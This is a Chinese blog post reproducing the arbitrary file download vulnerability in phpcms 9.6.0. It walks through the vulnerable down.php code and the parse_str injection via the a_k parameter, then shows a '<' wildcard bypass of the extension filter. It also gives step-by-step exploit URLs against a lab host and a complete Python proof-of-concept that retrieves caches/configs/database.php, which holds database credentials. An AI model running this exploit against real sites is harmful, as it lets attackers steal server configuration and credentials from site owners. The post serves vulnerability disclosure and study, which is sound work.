美文网首页
[漏洞复现]phpcms9.6.0任意下载漏洞

[漏洞复现]phpcms9.6.0任意下载漏洞

作者: CMDY10086 | 来源:发表于2017-11-15 12:42 被阅读0次

任意文件下载漏洞和9.6.0的wap模块sql注入在同一个文件
触发点在download函数
phpcms/modules/content/down.php

    public function download() {
        $a_k = trim($_GET['a_k']);
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
        $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
        if(empty($a_k)) showmessage(L('illegal_parameters'));
        unset($i,$m,$f,$t,$ip);
        parse_str($a_k);        
        if(isset($i)) $downid = intval($i);
        if(!isset($m)) showmessage(L('illegal_parameters'));
        if(!isset($modelid)) showmessage(L('illegal_parameters'));
        if(empty($f)) showmessage(L('url_invalid'));
        if(!$i || $m<0) showmessage(L('illegal_parameters'));
        if(!isset($t)) showmessage(L('illegal_parameters'));
        if(!isset($ip)) showmessage(L('illegal_parameters'));
        $starttime = intval($t);
        if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
        $fileurl = trim($f);
        if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));  
        $endtime = SYS_TIME - $starttime;
        if($endtime > 3600) showmessage(L('url_invalid'));
        if($m) $fileurl = trim($s).trim($fileurl);
        if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
        //远程文件
        if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { 
            header("Location: $fileurl");
        } else {
            if($d == 0) {
                header("Location: ".$fileurl);
            } else {
                $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
                $filename = basename($fileurl);
                //处理中文文件
                if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
                    $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
                    $filename = urldecode(basename($filename));
                }
                $ext = fileext($filename);
                $filename = date('Ymd_his').random(3).'.'.$ext;
                file_down($fileurl, $filename);
            }
        }
    }

函数流程 从外部获取a_k参数->解密a_k字符串->parse_str注册变量,假设我们可以控制a_k参数,那么就
可以将payload带入,实现任意文件下载(后续代码会对下载文件的后缀进行检测,
在Windows下可以通过"<"符号来匹配文件,例如index.php可以使用index.ph<来完成绕过)

再看init函数后几行

if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
        if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
            $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
            $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
            $downurl = '?m=content&c=down&a=download&a_k='.$a_k;
        } else {
            $downurl = $f;          
        }
        include template('content','download');
    }

通过多个变量拼接生成变量$a_k并作为下载链接返回到客户端,所以需要再想办法控制这些变量
返回init函数前几行

public function init() {
        $a_k = trim($_GET['a_k']);
        if(!isset($a_k)) showmessage(L('illegal_parameters'));
        $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
        if(empty($a_k)) showmessage(L('illegal_parameters'));
        unset($i,$m,$f);
        parse_str($a_k);

这些变量的值还是来自外部的a_k参数,然后解密并由parse_str注册而成。这就回到了v9.6.0wap注入
的触发处

验证:

  1. 拿到加密后的cookie
    http://192.168.42.133/phpcms/install_package/index.php?m=wap&c=index&siteid=1
  2. 注意userid_flash的值以及要下载的位置
    http://192.168.42.133/phpcms/install_package/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3D1%26m%3D1%26f%3Dcaches%2fconfigs%2fdatabase.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26
    POST: userid_flash=3254G0WHf0Ezjn-F0XeGWGKAFzbQIG74zvdPJNuj
  3. 得到a_k的值再访问init函数
    http://192.168.42.133/phpcms/install_package/index.php?m=content&c=down&a_k=6f01j0SKUOgHPwRUwo6buVR4uKU5RZKWguMoCL58JF9yD_B57-gpUqzVCPhzbnoULuANgKs7vHf437EIG24Qu07ExowlP1C99QVpP4aQ-19rFRbDE6OsOifqnBnoCjyxn-D2oZ9Ey0ec7BjM5TkJjweVmKnXtM2iSIkyu5jdyMndQ8YL8SE
  4. 点击下载即可
#POC
#coding:utf-8
import requests
import re
url = 'http://192.168.42.133/phpcms/install_package/index.php'
s = requests.session()
params_get_userid = {
    'm':'wap',
    'c':'index',
    'siteid':'1',
}
rep = s.get(url,params=params_get_userid)
for cookie in rep.cookies:
    if '_siteid' in cookie.name:
        userid = cookie.value #userid为第一次加密的$this->userid
payload = '%26id%3D1%26m%3D1%26f%3Dcaches%2fconfigs%2fdatabase.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26' 
url_get_encode = '{}?m=attachment&c=attachments&a=swfupload_json&aid=1&src={}'.format(url,payload)
data = {'userid_flash':userid}
rep = s.post(url_get_encode,data=data)
for cookie in rep.cookies:
    if '_att_json' in cookie.name:
        encode_payload = cookie.value
    
params = {
    'm':'content',
    'c':'down',
    'a_k':encode_payload,
}
rep = s.get(url,params=params)
content = rep.content#此时已经有下载链接了
file = re.findall(r'<a href="(.+?)"',content)[0]
print s.get(url+file).content

相关文章

网友评论

      本文标题:[漏洞复现]phpcms9.6.0任意下载漏洞

      本文链接:https://www.haomeiwen.com/subject/usmcvxtx.html